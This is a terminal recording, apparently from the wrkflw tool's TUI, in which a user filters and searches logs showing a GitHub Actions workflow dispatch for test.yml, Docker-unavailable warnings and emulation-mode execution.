[19.295129, "o", "\u001b[9;11H█ \u001b[9;15H\u001b[38;5;7mFilter: AL\u001b[9;26H\u001b[39m \u001b[9;29H\u001b[38;5;5mMatches: 1/11\u001b[11;10H\u001b[38;5;3m1\u001b[11;12H11) \u001b[13;14H\u001b[38;5;5m\u001b[48;5;8mTRIG \u001b[13;22H\u001b[39mTrigge\u001b[13;29Hing \u001b[13;34Horkflow: test.yml \u001b[14;9H\u001b[49m30\u001b[14;14H\u001b[38;5;2mSUCCESS\u001b[14;22H\u001b[39mWorkflow 'test.yml'\u001b[14;42Hcompleted success\u001b[14;60Hul\u001b[14;63Hy! \u001b[14;67H \u001b[14;74H \u001b[14;78H \u001b[14;82H \u001b[14;85H \u001b[14;94H \u001b[15;9H30\u001b[15;14H\u001b[38;5;7mINFO \u001b[15;22H\u001b[39mAll workflows completed execut\u001b[15;53Hon\u001b[15;56H \u001b[15;66H \u001b[15;71H \u001b[16;9H26\u001b[16;14H\u001b[38;5;6mINFO \u001b[16;22H\u001b[39m🔍\u001b[16;25HDocker daemon is runn\u001b[16;47Hng\u001b[16;50Hbut ping failed. Docker may not be properly configured. \u001b[16;138H \u001b[16;142H \u001b[16;151H \u001b[17;9H26\u001b[17;14H\u001b[38;5;3mWARN \u001b[17;22H\u001b[39m⚠️\u001b[17;25HDocker is \u001b[17;36Hot available.\u001b[17;50HUsing\u001b[17;56Hemulation\u001b[17;66Hmode\u001b[17;71Hinstead.\u001b[18;14H\u001b[38;5;5mTRIG \u001b[18;25H\u001b[39mTrigge\u001b[18;32Hing \u001b[18;37Horkflow: test.yml \u001b[19;3H19:10:30\u001b[19;14H\u001b["]
|
||||
[19.295238, "o", "38;5;7mINFO \u001b[19;22H\u001b[39mℹ️\u001b[19;25HGITHUB_TOKEN\u001b[19;38His\u001b[19;41Hset:\u001b[19;46Hgithu\u001b[20;3H19:10:30\u001b[20;14H\u001b[38;5;5mTRIG \u001b[20;22H\u001b[39mℹ️\u001b[20;25HTriggering\u001b[20;36Hworkflow\u001b[20;45Hwith\u001b[20;50HURL:\u001b[20;55Hhttps://api.github.com/repos/bahdotsh/wrkflw/actions/workflows/test.yml/dispatches\u001b[20;138Hand\u001b[20;142Hpayload:\u001b[20;151H{\"ref\":\"main\"}\u001b[21;3H19:10:30\u001b[21;14H\u001b[38;5;7mINFO \u001b[21;22H\u001b[39mℹ️\u001b[21;25HCurl\u001b[21;30Hcommand\u001b[21;38Hsucceeded:\u001b[22;3H19:10:30\u001b[22;14H\u001b[38;5;2mSUCCESS\u001b[22;22H\u001b[39mℹ️\u001b[22;25H[19:10:30]\u001b[22;36HWorkflow\u001b[22;45H'test.yml'\u001b[22;56Hcompleted\u001b[22;66Hsuccessfully!\u001b[23;3H19:10:30\u001b[23;14H\u001b[38;5;7mINFO \u001b[23;22H\u001b[39mℹ️\u001b[23;25HAll\u001b[23;29Hworkflows\u001b[23;39Hcompleted\u001b[23;49Hexecution\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.352497, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.410124, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.467715, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.525312, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.58292, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.640318, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.6969, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.75442, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.811952, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.869597, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.927197, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.984774, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.041609, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.09745, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.152902, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.210434, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.268138, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.325737, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.383391, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.440994, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.498427, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.555926, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.595158, "o", "\u001b[9;11Ht█\u001b[9;15H \u001b[38;5;7mFilter: A\u001b[9;26HL\u001b[9;29H\u001b[39m \u001b[38;5;5mMatches: 1/\u001b[9;42H0\u001b[11;13H\u001b[38;5;3m0\u001b[13;22H\u001b[38;5;0m\u001b[48;5;8mT\u001b[13;43Ht\u001b[13;46Ht\u001b[14;32H\u001b[48;5;3mt\u001b[14;35Ht\u001b[14;48Ht\u001b[15;42Ht\u001b[15;51Ht\u001b[16;52Ht\u001b[16;80Ht\u001b[17;37Ht\u001b[17;61Ht\u001b[17;74Ht\u001b[18;25HT\u001b[18;46Ht\u001b[18;49Ht\u001b[19;27HT\u001b[19;32HT\u001b[19;43Ht\u001b[19;48Ht\u001b[20;25HT\u001b[20;47Ht\u001b[20;56Htt\u001b[20;69Ht\u001b[20;89Ht\u001b[20;102Ht\u001b[20;118Ht\u001b[20;121Ht\u001b[20;132Ht\u001b[21;14H\u001b[38;5;2m\u001b[49mSUCCESS\u001b[21;25H\u001b[39m[19:10:30] Workflow '\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49mes\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49m.yml'\u001b[21;56Hcomple\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49med\u001b[21;66Hsuccessfully!\u001b[22;14H\u001b[38;5;7mINFO \u001b[22;25H\u001b[39mAll workflows comple\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49med execu\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49mion \u001b[22;66H \u001b[23;3H \u001b[23;14H \u001b[23;22H \u001b[23;25H \u001b[23;29H \u001b[23;39H \u001b[23;49H \u001b[60;110H\u001b[1m\u001b[38;5;15m\u001b[48;5;1m Found 10\u001b[60;133Ht\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.652076, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.709454, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.766842, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.824206, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.877805, "o", "\u001b[9;12Hr█\u001b[9;16H \u001b[38;5;7mFilter: A\u001b[9;27HL\u001b[9;30H\u001b[39m \u001b[38;5;5mMatches: 1/3\u001b[11;12H\u001b[38;5;3m3) \u001b[39m─\u001b[13;23H\u001b[38;5;0m\u001b[48;5;8mr\u001b[13;43H\u001b[39mt\u001b[13;46Ht\u001b[14;14H\u001b[38;5;5m\u001b[49mTRIG \u001b[14;22H\u001b[39mℹ️\u001b[14;24H \u001b[38;5;0m\u001b[48;5;3mTr\u001b[39m\u001b[49miggering workflow: t\u001b[14;48Hst.yml \u001b[15;14H\u001b[38;5;5mTRIG \u001b[15;22H\u001b[39mℹ️\u001b[15;24H \u001b[38;5;0m\u001b[48;5;3mTr\u001b[39m\u001b[49miggering\u001b[15;36Hw\u001b[15;38Hrkflow with URL: https://api.github.com/repos/bahdotsh/wrkflw/actions/workflows/test.yml/dispatches\u001b[15;138Hand\u001b[15;142Hpayload:\u001b[15;151H{\"ref\":\"main\"}\u001b[16;3H \u001b[16;14H \u001b[16;22H \u001b[16;25H \u001b[16;32H \u001b[16;39H \u001b[16;42H \u001b[16;50H \u001b[16;54H \u001b[16;59H \u001b[16;67H \u001b[16;74H \u001b[16;78H \u001b[16;82H \u001b[16;85H \u001b[16;94H \u001b[17;3H \u001b[17;14H \u001b[17;22H \u001b[17;25H \u001b[17;32H \u001b[17;35H \u001b[17;39H \u001b[17;50H \u001b[17;56H \u001b[17;66H \u001b[17;71H \u001b[18;3H \u001b[18;14H \u001b[18;22H \u001b[18;25H \u001b[18;36H \u001b[18;46H \u001b[19;3H \u001b[19;14H"]
|
||||
[20.877863, "o", " \u001b[19;22H \u001b[19;25H \u001b[19;38H \u001b[19;41H \u001b[19;46H \u001b[20;3H \u001b[20;14H \u001b[20;22H \u001b[20;25H \u001b[20;36H \u001b[20;45H \u001b[20;50H \u001b[20;55H \u001b[20;138H \u001b[20;142H \u001b[20;151H \u001b[21;3H \u001b[21;14H \u001b[21;22H \u001b[21;25H \u001b[21;36H \u001b[21;45H \u001b[21;56H \u001b[21;66H \u001b[22;3H \u001b[22;14H \u001b[22;22H \u001b[22;25H \u001b[22;29H \u001b[22;39H \u001b[22;49H \u001b[60;117H\u001b[1m\u001b[38;5;15m\u001b[48;5;1m3 matches for 'tr\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.93508, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.99224, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.001039, "o", "\u001b[9;13Hi█\u001b[9;17H \u001b[38;5;7mFilter: A\u001b[9;28HL\u001b[9;31H\u001b[39m \u001b[38;5;5mMatches: 1/3\u001b[13;24H\u001b[38;5;0m\u001b[48;5;8mi\u001b[14;27H\u001b[48;5;3mi\u001b[15;27Hi\u001b[60;134H\u001b[1m\u001b[38;5;15m\u001b[48;5;1mi' \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.057751, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.114861, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.171758, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.228857, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.285972, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.342935, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.400134, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.457276, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.515115, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.567342, "o", "\u001b[9;13H█ \u001b[9;17H\u001b[38;5;7mFilter: AL\u001b[9;28H\u001b[39m \u001b[9;31H\u001b[38;5;5mMatches: 1/3\u001b[39m \u001b[13;24H\u001b[48;5;8mi\u001b[14;27H\u001b[49mi\u001b[15;27Hi\u001b[60;134H\u001b[1m\u001b[38;5;15m\u001b[48;5;1m' \u001b[22m\u001b[39m\u001b[49m \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.624454, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.681447, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.738626, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.76185, "o", "\u001b[9;12H█ \u001b[9;16H\u001b[38;5;7mFilter: AL\u001b[9;27H\u001b[39m \u001b[9;30H\u001b[38;5;5mMatches: 1/10\u001b[11;12H\u001b[38;5;3m10) \u001b[13;23H\u001b[39m\u001b[48;5;8mr\u001b[13;43H\u001b[38;5;0mt\u001b[13;46Ht\u001b[14;14H\u001b[38;5;2m\u001b[49mSUCCESS\u001b[14;22H\u001b[39mWorkflow '\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49mes\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49m.yml' compl\u001b[14;48H\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49med successfully!\u001b[15;14H\u001b[38;5;7mINFO \u001b[15;22H\u001b[39mAll workflows\u001b[15;36Hc\u001b[15;38Hmple\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49med execu\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49mion \u001b[15;138H \u001b[15;142H \u001b[15;151H \u001b[16;3H19:10:26\u001b[16;14H\u001b[38;5;6mINFO \u001b[16;22H\u001b[39m🔍\u001b[16;25HDocker\u001b[16;32Hdaemon\u001b[16;39His\u001b[16;42Hrunning\u001b[16;50Hbu\u001b[38;5;0m\u001b[48;5;3mt\u001b[16;54H\u001b[39m\u001b[49mping\u001b[16;59Hfailed.\u001b[16;67HDocker\u001b[16;74Hmay\u001b[16;78Hno\u001b[38;5;0m\u001b[48;5;3mt\u001b[16;82H\u001b[39m\u001b[49mbe\u001b[16;85Hproperly\u001b[16;94Hconfigured.\u001b[17;3H19:10:26\u001b[17;14H\u001b[38;5;3mWARN \u001b[17;22H\u001b[39m⚠️\u001b[17;25HDocker\u001b[17;32His\u001b[17;35Hno\u001b[38;5;0m\u001b[48;5;3mt\u001b[17;39H\u001b[39m\u001b[49mavailable."]
|
||||
[21.761892, "o", "\u001b[17;50HUsing\u001b[17;56Hemula\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49mion\u001b[17;66Hmode\u001b[17;71Hins\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49mead.\u001b[18;3H19:10:30\u001b[18;14H\u001b[38;5;5mTRIG \u001b[18;22H\u001b[39mℹ️\u001b[18;25H\u001b[38;5;0m\u001b[48;5;3mT\u001b[39m\u001b[49mriggering\u001b[18;36Hworkflow:\u001b[18;46H\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49mes\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49m.yml\u001b[19;3H19:10:30\u001b[19;14H\u001b[38;5;7mINFO \u001b[19;22H\u001b[39mℹ️\u001b[19;25HGI\u001b[38;5;0m\u001b[48;5;3mT\u001b[39m\u001b[49mHUB_\u001b[38;5;0m\u001b[48;5;3mT\u001b[39m\u001b[49mOKEN\u001b[19;38His\u001b[19;41Hse\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49m:\u001b[19;46Hgi\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49mhu\u001b[20;3H19:10:30\u001b[20;14H\u001b[38;5;5mTRIG \u001b[20;22H\u001b[39mℹ️\u001b[20;25H\u001b[38;5;0m\u001b[48;5;3mT\u001b[39m\u001b[49mriggering\u001b[20;36Hworkflow\u001b[20;45Hwi\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49mh\u001b[20;50HURL:\u001b[20;55Hh\u001b[38;5;0m\u001b[48;5;3mtt\u001b[39m\u001b[49mps://api.gi\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49mhub.com/repos/bahdo\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49msh/wrkflw/ac\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49mions/workflows/\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49mes\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49m.yml/dispa\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49mches\u001b[20;138Hand\u001b[20;142Hpayload:\u001b[20;"]
|
||||
[21.76197, "o", "151H{\"ref\":\"main\"}\u001b[21;3H19:10:30\u001b[21;14H\u001b[38;5;2mSUCCESS\u001b[21;22H\u001b[39mℹ️\u001b[21;25H[19:10:30]\u001b[21;36HWorkflow\u001b[21;45H'\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49mes\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49m.yml'\u001b[21;56Hcomple\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49med\u001b[21;66Hsuccessfully!\u001b[22;3H19:10:30\u001b[22;14H\u001b[38;5;7mINFO \u001b[22;22H\u001b[39mℹ️\u001b[22;25HAll\u001b[22;29Hworkflows\u001b[22;39Hcomple\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49med\u001b[22;49Hexecu\u001b[38;5;0m\u001b[48;5;3mt\u001b[39m\u001b[49mion\u001b[60;117H\u001b[1m\u001b[38;5;15m\u001b[48;5;1m10 matches for 't\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.818974, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.8764, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.933779, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.991309, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.048821, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.106297, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.163544, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.220974, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.226951, "o", "\u001b[9;11H█ \u001b[9;15H\u001b[38;5;7mFilter: AL\u001b[9;26H\u001b[39m \u001b[9;29H\u001b[38;5;5mMatches: 1/1\u001b[9;42H\u001b[39m \u001b[11;13H\u001b[38;5;3m1\u001b[13;22H\u001b[39m\u001b[48;5;8mT\u001b[13;43Ht\u001b[13;46Ht\u001b[14;32H\u001b[49mt\u001b[14;35Ht\u001b[14;48Ht\u001b[15;42Ht\u001b[15;51Ht\u001b[16;52Ht\u001b[16;80Ht\u001b[17;37Ht\u001b[17;61Ht\u001b[17;74Ht\u001b[18;25HT\u001b[18;46Ht\u001b[18;49Ht\u001b[19;27HT\u001b[19;32HT\u001b[19;43Ht\u001b[19;48Ht\u001b[20;25HT\u001b[20;47Ht\u001b[20;56Htt\u001b[20;69Ht\u001b[20;89Ht\u001b[20;102Ht\u001b[20;118Ht\u001b[20;121Ht\u001b[20;132Ht\u001b[21;14H\u001b[38;5;7mINFO \u001b[21;25H\u001b[39mCurl command succeeded: \u001b[21;56H \u001b[21;66H \u001b[22;14H\u001b[38;5;2mSUCCESS\u001b[22;25H\u001b[39m[19:10:30] Workflow 'test.yml' completed\u001b[22;66Hsuccessfully!\u001b[23;3H19:10:30\u001b[23;14H\u001b[38;5;7mINFO \u001b[23;22H\u001b[39mℹ️\u001b[23;25HAll\u001b[23;29Hworkflows\u001b[23;39Hcompleted\u001b[23;49Hexecution\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.283933, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.341001, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.398369, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.455835, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.5133, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.570792, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.628324, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.685691, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.74322, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.800834, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.858314, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.915845, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.953871, "o", "\u001b[9;11Hs█\u001b[9;15H \u001b[38;5;7mFilter: A\u001b[9;26HL\u001b[9;29H\u001b[39m \u001b[38;5;5mMatches: 1/\u001b[9;42H1\u001b[13;45H\u001b[38;5;0m\u001b[48;5;8ms\u001b[14;34H\u001b[48;5;3ms\u001b[14;52Hs\u001b[14;57Hss\u001b[15;34Hs\u001b[16;40Hs\u001b[17;33Hs\u001b[17;51Hs\u001b[17;73Hs\u001b[18;48Hs\u001b[19;39Hs\u001b[19;41Hs\u001b[20;59Hs\u001b[20;82Hs\u001b[20;90Hs\u001b[20;106Hs\u001b[20;116Hs\u001b[20;120Hs\u001b[20;129Hs\u001b[20;136Hs\u001b[21;38Hs\u001b[22;48Hs\u001b[22;66Hs\u001b[22;71Hss\u001b[23;37Hs\u001b[60;118H\u001b[1m\u001b[38;5;15m\u001b[48;5;1m1\u001b[60;133Hs\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.011228, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.067676, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.124865, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.182046, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.239513, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.297123, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.354597, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.412139, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.469675, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.527205, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.584711, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.642342, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.699835, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.705703, "o", "\u001b[9;11H█ \u001b[9;15H\u001b[38;5;7mFilter: AL\u001b[9;26H\u001b[39m \u001b[9;29H\u001b[38;5;5mMatches: 1/1\u001b[9;42H\u001b[39m \u001b[13;45H\u001b[48;5;8ms\u001b[14;34H\u001b[49ms\u001b[14;52Hs\u001b[14;57Hss\u001b[15;34Hs\u001b[16;40Hs\u001b[17;33Hs\u001b[17;51Hs\u001b[17;73Hs\u001b[18;48Hs\u001b[19;39Hs\u001b[19;41Hs\u001b[20;59Hs\u001b[20;82Hs\u001b[20;90Hs\u001b[20;106Hs\u001b[20;116Hs\u001b[20;120Hs\u001b[20;129Hs\u001b[20;136Hs\u001b[21;38Hs\u001b[22;48Hs\u001b[22;66Hs\u001b[22;71Hss\u001b[23;37Hs\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.762515, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.820106, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.877455, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.934766, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.980988, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.037948, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.095206, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.152711, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.210345, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.267706, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.325155, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.38255, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.440123, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.49761, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.555091, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.612643, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.670326, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.7279, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.752468, "o", "\u001b[9;11H \u001b[9;14H\u001b[38;5;7mFilter: AL\u001b[9;25H\u001b[39m \u001b[9;29H \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.809388, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.8667, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.924053, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.981558, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.039005, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.096474, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.153403, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.210481, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.267937, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.325533, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.383051, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.440548, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.498019, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.555524, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.613, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.670538, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.727824, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.785302, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.842925, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.900562, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.958225, "o", "\u001b[60;1H\u001b[38;5;15m\u001b[48;5;5m Emulation \u001b[39m\u001b[48;5;8m \u001b[38;5;0m\u001b[48;5;2m Execution \u001b[39m\u001b[48;5;8m \u001b[38;5;15m [↑/↓] Scroll logs (1/11) [s] Search [f] Filter \u001b[39m \u001b[38;5;15m [Tab] Switch tabs [?] Help [q] Quit \u001b[39m \u001b[61;1H \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.01583, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
